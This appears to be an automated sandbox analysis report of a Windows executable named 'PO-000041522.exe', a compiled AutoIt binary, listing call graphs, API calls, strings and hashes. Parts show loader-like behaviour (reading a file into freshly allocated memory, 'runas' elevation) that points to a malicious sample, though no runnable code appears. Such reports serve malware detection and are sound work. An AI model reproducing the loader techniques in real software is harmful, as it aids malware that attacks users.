__lseeki64_nolock 69 API calls 86238->86243 86239->86230 86239->86237 86242 41eb75 86239->86242 86245 41eb32 86239->86245 86240->86228 86244 423462 __lseeki64_nolock 69 API calls 86240->86244 86241->86230 86242->86245 86246 41ebac 86242->86246 86243->86238 86244->86240 86245->86234 86247 423462 __lseeki64_nolock 69 API calls 86246->86247 86248 41ebbb 86247->86248 86248->86234 86249->86132 86250->86148 86251->86133 86252->86140 86254->86143 86255->86140 86256->86152 86257->86151 86258->86148 86260 416fb6 __malloc_crt 67 API calls 86259->86260 86261 423615 86260->86261 86261->86162 86262->86158 86267 414cef GetSystemTimeAsFileTime __aulldiv 86264->86267 86266 4431ef 86266->85768 86267->86266 86268->85776 86270->85781 86276 4523e1 _wcscpy 86271->86276 86272 4151b0 81 API calls __fread_nolock 86272->86276 86273 44afdc GetSystemTimeAsFileTime 86273->86276 86274 452553 86274->85698 86274->85699 86275 41557c 105 API calls _fseek 86275->86276 86276->86272 86276->86273 86276->86274 86276->86275 86278 44b1b4 86277->86278 86279 44b1a6 86277->86279 86281 44b1ca 86278->86281 86282 414e06 138 API calls 86278->86282 86283 44b1c2 86278->86283 86280 414e06 138 API calls 86279->86280 86280->86278 86312 4352d1 81 API calls 2 library calls 86281->86312 86285 44b2c1 86282->86285 86283->85725 86285->86281 86287 44b2cf 86285->86287 86286 44b20d 86288 44b211 86286->86288 86289 44b23b 86286->86289 86290 44b2dc 86287->86290 86292 414e94 __fcloseall 106 API calls 86287->86292 86291 44b21e 86288->86291 86294 414e94 __fcloseall 106 API calls 86288->86294 86313 43526e 86289->86313 86290->85725 86295 44b22e 86291->86295 86299 414e94 __fcloseall 106 API calls 86291->86299 86292->86290 86294->86291 86295->85725 86296 44b242 86297 44b270 86296->86297 86298 44b248 86296->86298 86323 44b0af 111 API calls 86297->86323 86300 44b255 86298->86300 86302 414e94 __fcloseall 106 API calls 86298->86302 86299->86295 86303 44b265 86300->86303 86305 414e94 __fcloseall 106 API calls 86300->86305 86302->86300 86303->85725 86304 44b276 86324 43522c 67 API calls __freefls@4 86304->86324 86305->86303 86307 44b27c 86308 44b289 86307->86308 86309 414e94 __fcloseall 106 API calls 86307->86309 86310 414e94 __fcloseall 106 API calls 86308->86310 86311 44b299 86308->86311 86309->86308 86310->86311 86311->85725 86312->86286 86314 4138ba _malloc 67 API calls 86313->86314 86315 43527d 86314->86315 86316 4138ba _malloc 67 API calls 86315->86316 86317 43528d 86316->86317 86318 4138ba _malloc 67 API calls 86317->86318 86319 43529d 86318->86319 86321 4352bc 86319->86321 86325 43522c 67 API calls __freefls@4 86319->86325 86321->86296 86322 4352c8 86322->86296 86323->86304 86324->86307 86325->86322 86326->85609 86327->85610 86328->85629 86329->85629 86330->85629 86331->85628 86332->85629 86333->85629 86334->85635 86335->85643 86337->85645 86338->85534 86340 410148 SHGetDesktopFolder 86339->86340 86343 4101a3 _wcscpy 86339->86343 86341 41015a _wcscpy 86340->86341 86340->86343 86342 41018a SHGetPathFromIDListW 86341->86342 86341->86343 86342->86343 86343->85537 86344->85540 86346 40f5e0 152 API calls 86345->86346 86347 40f417 86346->86347 86348 42ca37 86347->86348 86349 40f42c 86347->86349 86350 42ca1f 86347->86350 86351 452574 140 API calls 86348->86351 86383 4037e0 139 API calls 7 library calls 86349->86383 86384 43717f 110 API calls _printf 86350->86384 86354 42ca50 86351->86354 86357 42ca76 86354->86357 86358 42ca54 86354->86358 86355 40f446 86355->85538 86356 42ca2d 86356->86348 86359 41171a 75 API calls 86357->86359 86360 434fe1 106 API calls 86358->86360 86375 42cacc moneypunct 86359->86375 86361 42ca5e 86360->86361 86385 43717f 110 API calls _printf 86361->86385 86363 42ca6c 86363->86357 86364 42ccc3 86365 413a88 __freefls@4 67 API calls 86364->86365 86366 42cccd 86365->86366 86367 434fe1 106 API calls 86366->86367 86368 42ccda 86367->86368 86372 401b70 75 API calls 86372->86375 86375->86364 86375->86372 86376 402cc0 75 API calls 2 library calls 86375->86376 86377 4026a0 86375->86377 86386 445051 75 API calls _memcpy_s 86375->86386 86387 44c80c 87 API calls 3 library calls 86375->86387 86388 44b408 75 API calls 86375->86388 86376->86375 86378 4026af 86377->86378 86380 40276b 86377->86380 86379 41171a 75 API calls 86378->86379 86378->86380 86382 4026ee moneypunct 86378->86382 86379->86382 86380->86375 86381 41171a 75 API calls 86381->86382 86382->86380 86382->86381 86383->86355 86384->86356 86385->86363 86386->86375 86387->86375 86388->86375 86389->85547 86390->85548 86392 401bfb 86391->86392 86412 401cde 86391->86412 86414 4013a0 86392->86414 86395 42a9a0 LoadStringW 86399 42a9bb 86395->86399 86396 401c18 86397 4021e0 75 API calls 86396->86397 86398 401c2d 86397->86398 86401 401c3a 86398->86401 86402 42a9cd 86398->86402 86420 40df50 75 API calls 86399->86420 86401->86399 86403 401c44 86401->86403 86421 40d3b0 75 API calls 2 library calls 86402->86421 86419 40d3b0 75 API calls 2 library calls 86403->86419 86406 42a9dc 86407 401c53 _memset _wcscpy _wcsncpy 86406->86407 86408 42a9f0 86406->86408 86411 401cc2 Shell_NotifyIconW 86407->86411 86422 40d3b0 75 API calls 2 library calls 86408->86422 86410 42a9fe 86411->86412 86412->85559 86413->85557 86415 41171a 75 API calls 86414->86415 86416 4013c4 86415->86416 86417 401380 75 API calls 86416->86417 86418 4013d3 86417->86418 86418->86395 86418->86396 86419->86407 86420->86407 86421->86406 86422->86410 86423 3f34400 86437 3f32050 86423->86437 86425 3f344b2 86440 3f342f0 86425->86440 86427 3f344db CreateFileW 86429 3f3452a 86427->86429 86430 3f3452f 86427->86430 86430->86429 86431 3f34546 VirtualAlloc 86430->86431 86431->86429 86432 3f34564 ReadFile 86431->86432 86432->86429 86433 3f3457f 86432->86433 86434 3f332f0 13 API calls 86433->86434 86435 3f345b2 86434->86435 86436 3f345d5 ExitProcess 86435->86436 86436->86429 86443 3f354e0 GetPEB 86437->86443 86439 3f326db 86439->86425 86441 3f342f9 Sleep 86440->86441 86442 3f34307 86441->86442 86444 3f3550a 86443->86444 86444->86439 86445 444343 86448 444326 86445->86448 86447 44434e WriteFile 86449 444340 86448->86449 86450 4442c7 86448->86450 86449->86447 86455 40e190 SetFilePointerEx 86450->86455 86452 4442e0 SetFilePointerEx 86456 40e190 SetFilePointerEx 86452->86456 86454 4442ff 86454->86447 86455->86452 86456->86454 86457 46d22f 86460 46d098 86457->86460 86459 46d241 86461 46d0b5 86460->86461 86462 46d115 86461->86462 86463 46d0b9 86461->86463 86511 45c216 78 API calls 86462->86511 86464 41171a 75 API calls 86463->86464 86467 46d0c0 86464->86467 86466 46d126 86468 46d0f8 86466->86468 86475 46d142 86466->86475 86469 46d0cc 86467->86469 86508 40d940 76 API calls 86467->86508 86471 4092c0 VariantClear 86468->86471 86472 453063 111 API calls 86469->86472 86473 46d0fd 86471->86473 86474 46d0dd 86472->86474 86473->86459 86509 40dfa0 83 API calls 86474->86509 86476 46d1c8 86475->86476 86478 46d158 86475->86478 86516 4676a3 78 API calls 86476->86516 86482 453063 111 API calls 86478->86482 86479 46d0ea 86479->86475 86483 46d0ee 86479->86483 86481 46d1ce 86517 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 86481->86517 86491 46d15e 86482->86491 86483->86468 86510 44ade5 CloseHandle moneypunct 86483->86510 86484 46d18d 86512 467fce 82 API calls 86484->86512 86488 46d196 86490 4013a0 75 API calls 86488->86490 86489 46d1e7 86493 4092c0 VariantClear 86489->86493 86502 46d194 86489->86502 86492 46d1a2 86490->86492 86491->86484 86491->86488 86513 40df50 75 API calls 86492->86513 86493->86502 86495 46d1ac 86514 40d3b0 75 API calls 2 library calls 86495->86514 86497 46d224 86497->86459 86498 46d1b8 86515 467fce 82 API calls 86498->86515 86501 46d216 86518 44ade5 CloseHandle moneypunct 86501->86518 86502->86497 86504 40d900 86502->86504 86505 40d917 86504->86505 86506 40d909 86504->86506 86505->86506 86507 40d91c CloseHandle 86505->86507 86506->86501 86507->86501 86508->86469 86509->86479 86510->86468 86511->86466 86512->86502 86513->86495 86514->86498 86515->86502 86516->86481 86517->86489 86518->86497 86519 42919b 86524 40ef10 86519->86524 86522 411421 __cinit 74 API calls 86523 4291aa 86522->86523 86525 41171a 75 API calls 86524->86525 86526 40ef17 86525->86526 86527 42ad48 86526->86527 86532 40ef40 74 API calls __cinit 86526->86532 86529 40ef2a 86533 40e470 86529->86533 86532->86529 86534 40c060 75 API calls 86533->86534 86535 40e483 GetVersionExW 86534->86535 86536 4021e0 75 API calls 86535->86536 86537 40e4bb 86536->86537 86559 40e600 86537->86559 86543 42accc 86545 42ad28 GetSystemInfo 86543->86545 86548 42ad38 GetSystemInfo 86545->86548 86546 40e557 GetCurrentProcess 86579 40ee30 LoadLibraryA GetProcAddress 86546->86579 86547 40e56c 86547->86548 86572 40eee0 86547->86572 86552 40e5c9 86576 40eea0 86552->86576 86555 40e5e0 86557 40e5f1 FreeLibrary 86555->86557 86558 40e5f4 86555->86558 86556 40e5dd FreeLibrary 86556->86555 86557->86558 86558->86522 86560 40e60b 86559->86560 86561 40c740 75 API calls 86560->86561 86562 40e4c2 86561->86562 86563 40e620 86562->86563 86564 40e62a 86563->86564 86565 42ac93 86564->86565 86566 40c740 75 API calls 86564->86566 86567 40e4ce 86566->86567 86567->86543 86568 40ee70 86567->86568 86569 40e551 86568->86569 86570 40ee76 LoadLibraryA 86568->86570 86569->86546 86569->86547 86570->86569 86571 40ee87 GetProcAddress 86570->86571 86571->86569 86573 40e5bf 86572->86573 86574 40eee6 LoadLibraryA 86572->86574 86573->86545 86573->86552 86574->86573 86575 40eef7 GetProcAddress 86574->86575 86575->86573 86580 40eec0 LoadLibraryA GetProcAddress 86576->86580 86578 40e5d3 GetNativeSystemInfo 86578->86555 86578->86556 86579->86547 86580->86578 86581 40116e 86582 401119 DefWindowProcW 86581->86582

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                  • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO-000041522.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                  • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\PO-000041522.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                  • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\PO-000041522.exe,00000004), ref: 0040D7D6
                                                                                                • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\PO-000041522.exe,00000004), ref: 00431B0E
                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\PO-000041522.exe,00000004), ref: 00431B3F
                                                                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                  • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                  • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                  • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                  • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                  • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                  • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                  • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                  • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                  • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                  • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                • String ID: @GH$@GH$C:\Users\user\Desktop\PO-000041522.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                • API String ID: 2493088469-3259934457
                                                                                                • Opcode ID: ba2e87c3f8820592b330de56266d8528cb530a4dab1fa245838381ec475db17a
                                                                                                • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                • Opcode Fuzzy Hash: ba2e87c3f8820592b330de56266d8528cb530a4dab1fa245838381ec475db17a
                                                                                                • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 138 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 147 40e506-40e509 138->147 148 42accc-42acd1 138->148 151 40e540-40e555 call 40ee70 147->151 152 40e50b-40e51c 147->152 149 42acd3-42acdb 148->149 150 42acdd-42ace0 148->150 153 42ad12-42ad20 149->153 154 42ace2-42aceb 150->154 155 42aced-42acf0 150->155 169 40e557-40e573 GetCurrentProcess call 40ee30 151->169 170 40e579-40e5a8 151->170 156 40e522-40e525 152->156 157 42ac9b-42aca7 152->157 168 42ad28-42ad2d GetSystemInfo 153->168 154->153 155->153 159 42acf2-42ad06 155->159 156->151 160 40e527-40e537 156->160 162 42acb2-42acba 157->162 163 42aca9-42acad 157->163 164 42ad08-42ad0c 159->164 165 42ad0e 159->165 166 42acbf-42acc7 160->166 167 40e53d 160->167 162->151 163->151 164->153 165->153 166->151 167->151 171 42ad38-42ad3d GetSystemInfo 168->171 169->170 180 40e575 169->180 170->171 172 40e5ae-40e5c3 call 40eee0 170->172 172->168 177 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 172->177 182 40e5e0-40e5ef 177->182 183 40e5dd-40e5de FreeLibrary 177->183 180->170 184 40e5f1-40e5f2 FreeLibrary 182->184 185 40e5f4-40e5ff 182->185 183->182 184->185
                                                                                                APIs
                                                                                                • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                • String ID: pMH
                                                                                                • API String ID: 2923339712-2522892712
                                                                                                • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: IsThemeActive$uxtheme.dll
                                                                                                • API String ID: 2574300362-3542929980
                                                                                                • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                • _wcsncat.LIBCMT ref: 00410C78
                                                                                                • __wmakepath.LIBCMT ref: 00410C94
                                                                                                  • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                • _wcscat.LIBCMT ref: 00429C43
                                                                                                • _wcslen.LIBCMT ref: 00429C55
                                                                                                • _wcslen.LIBCMT ref: 00429C66
                                                                                                • _wcscat.LIBCMT ref: 00429C80
                                                                                                • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                • API String ID: 1004883554-2276155026
                                                                                                • Opcode ID: 7ddc168bc2068c325cd193227568a5015a4a486856808f6178fece6a235d7228
                                                                                                • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                • Opcode Fuzzy Hash: 7ddc168bc2068c325cd193227568a5015a4a486856808f6178fece6a235d7228
                                                                                                • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                • String ID: FILE
                                                                                                • API String ID: 3888824918-3121273764
                                                                                                • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • GetSysColorBrush.USER32 ref: 00410326
                                                                                                • RegisterClassExW.USER32 ref: 00410359
                                                                                                • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                • ImageList_ReplaceIcon.COMCTL32(00A35078,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                                • API String ID: 2914291525-1005189915
                                                                                                • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                                • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                                • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                • RegisterClassExW.USER32 ref: 004102C6
                                                                                                  • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                  • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                  • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                                  • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                                  • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                                  • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                  • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00A35078,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                • String ID: #$0$PGH
                                                                                                • API String ID: 423443420-3673556320
                                                                                                • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
